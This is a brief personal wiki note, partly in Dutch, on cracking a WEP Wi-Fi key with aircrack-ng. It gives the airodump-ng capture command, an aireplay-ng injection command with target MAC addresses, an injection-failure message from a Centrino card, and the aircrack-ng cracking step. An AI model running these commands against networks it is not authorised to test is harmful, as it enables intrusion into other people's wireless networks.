!! Passive attack
Hierbij ga je heel veel beacons verzamelen van een AP, ze opslaan in een file, en deze weer gebruiken
om de key te achterhalen.
{{{airodump-ng -c 9 --bssid 00:14:7F:B0:67:50 -w output eth1}}}
!! Active attack
Your card must support packet injection !
{{{aireplay-ng -1 0 -e DirtyHarryWifi -a 00:16:0A:0D:EF:EB -h 00:19:D2:83:F3:77 eth1 }}}
Echter, op mijn Centrino chipset is packet injection niet supported:
{{{

Attack was unsuccessful. Possible reasons:
* Perhaps MAC address filtering is enabled.
* Check that the BSSID (-a option) is correct.
* The driver hasn't been patched for injection.
* This attack sometimes fails against some APs.
* The card is not on the same channel as the AP.
* Injection is not supported AT ALL on HermesI,
Centrino, ndiswrapper and a few others chipsets.
* You're too far from the AP. Get closer, or lower
the transmit rate (iwconfig <iface> rate 1M).

!! The real cracking
Als je genoeg packets (IV's, Initialization Vectors) hebt (duizenden), dan kan je aan het "rekenen" :
{{{aircrack-ng -b 00:01:02:03:04:05 dump-01.cap}}}
